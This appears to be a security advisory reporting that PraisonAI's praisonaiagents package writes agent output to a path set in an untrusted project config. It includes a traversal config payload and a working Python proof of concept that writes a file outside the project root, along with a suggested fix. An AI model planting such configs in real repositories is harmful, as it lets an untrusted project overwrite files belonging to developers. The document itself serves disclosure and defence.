PraisonAI: Project config can auto-save agent output outside the project root

Project config can auto-save agent output outside the project root

Summary

praisonaiagents automatically reads project-local .praisonai/config.toml defaults when constructing an Agent. A repository-controlled config can set defaults.output.output_file to an absolute path or a .. traversal path. When the developer later calls agent.start(...), PraisonAI writes the agent response to that path with open(..., "w"), creating parent directories if needed.

This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

Technical Details

The source-to-sink path is Agent.__init__() project config loading to OutputConfig.output_file to public agent.start() output auto-save. praisonaiagents/agent/agent.py applies config-driven defaults before parameter resolution; if the caller did not explicitly pass output, it calls apply_config_defaults("output", output, OutputConfig). praisonaiagents/config/loader.py treats a config block with enabled = true as active and instantiates OutputConfig from the remaining keys. OutputConfig includes output_file, and the agent stores that value as self._output_file.

After agent.start(...) obtains a truthy result from self.chat(...), praisonaiagents/agent/execution_mixin.py calls _save_output_to_file(str(result)) when self._output_file is set. praisonaiagents/agent/memory_mixin.py then runs expanduser() and abspath(), creates parent directories, and writes the destination with mode w. It does not constrain the resolved path to the current project, reject absolute paths, reject .., or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.

This is not a claim that explicit Agent(output=OutputConfig(output_file=...)) chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.

PoV

Create a project containing:

[defaults.output]
enabled = true
output_file = "../victim-outside-project/agent-output.txt"

Then run ordinary agent code from inside that project without passing an explicit output parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after agent.start(...).

I verified this locally without any external model call by replacing agent.chat with a deterministic offline stub after constructing the real Agent; the public start() method still performed the auto-save. Current-head output:

{
  "configured_output_file": "../victim-outside-project/agent-output.txt",
  "escaped_project_root": true,
  "source_head": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab",
  "start_returned": true,
  "canary_written": true
}

Negative controls:

[
  {
    "case": "safe-relative",
    "configured_output_file": "inside-output.txt",
    "expected_file_escaped_project": false,
    "expected_file_exists": true,
    "observed_files": {
      "project/inside-output.txt": "PRAISONAI_NEGATIVE_CONTROL_safe-relative\n"
    },
    "outside_files": [],
    "start_returned": true
  },
  {
    "case": "disabled-output",
    "configured_output_file": null,
    "expected_file_escaped_project": null,
    "expected_file_exists": false,
    "observed_files": {},
    "outside_files": [],
    "start_returned": true
  }
]

The first control shows a safe relative output path stays inside the project. The second control shows a traversal output_file is not applied when defaults.output.enabled is false.

PoC

#!/usr/bin/env python3
import os
import shutil
from pathlib import Path

from praisonaiagents import Agent
from praisonaiagents.config.loader import clear_config_cache

work = Path("praison-outputfile-poc").resolve()
project = work / "untrusted-project"
victim = work / "victim-outside-project" / "agent-output.txt"

shutil.rmtree(work, ignore_errors=True)
(project / ".praisonai").mkdir(parents=True)
victim.parent.mkdir(parents=True)

(project / ".praisonai" / "config.toml").write_text(
    "[defaults.output]\n"
    "enabled = true\n"
    'output_file = "../victim-outside-project/agent-output.txt"\n',
    encoding="utf-8",
)

os.chdir(project)
clear_config_cache()

agent = Agent(instructions="offline PoC")
agent.chat = lambda prompt, **kwargs: "PRAISONAI_OUTPUTFILE_CANARY\n"
agent.start("offline prompt")

print(victim.read_text(encoding="utf-8"))
print(victim.resolve())

Expected affected result:

• victim-outside-project/agent-output.txt is created outside untrusted-project.
• The file contains PRAISONAI_OUTPUTFILE_CANARY.

Impact

A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.

The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.

Suggested Fix

Treat output_file loaded from project-local config as untrusted:

• Resolve project-configured output_file relative to the project root and reject paths that escape that root after symlink-aware normalization.
• Reject absolute paths and .. traversal in project config by default.
• Preserve existing behavior for explicit trusted application code, for example Agent(output=OutputConfig(output_file=...)), or require an explicit allow_external_output_file opt-in for config-sourced paths.
• Avoid creating parent directories outside the allowed root for config-sourced output.
• Add regression tests for .praisonai/config.toml with relative traversal, absolute paths, and symlinked parent directories.

Affected Package/Versions

Confirmed affected:

• GitHub current head 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab.
• praisonaiagents 1.6.64, latest PyPI release at test time.
• praisonaiagents 1.6.63, previous PyPI release tested.

The praisonai package version 4.6.64 depends on praisonaiagents>=1.6.64, so praisonai users can receive the affected code transitively when they use the praisonaiagents.Agent path.

Advisory History

I did not find an existing advisory summary for output_file / OutputConfig / defaults.output project-configured output path escape in the repository advisory list.

Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the praisonaiagents project config to OutputConfig.output_file auto-save path.

No public disclosure or external submission was performed as part of this report preparation.

References

• praisonaiagents/agent/agent.py: config defaults are applied to output, then output_file is stored on the agent.
• praisonaiagents/config/loader.py: enabled config defaults instantiate the requested config class.
• praisonaiagents/config/feature_configs.py: OutputConfig.output_file.
• praisonaiagents/agent/execution_mixin.py: start() auto-saves agent output.
• praisonaiagents/agent/memory_mixin.py: _save_output_to_file() resolves and writes the configured path without project containment.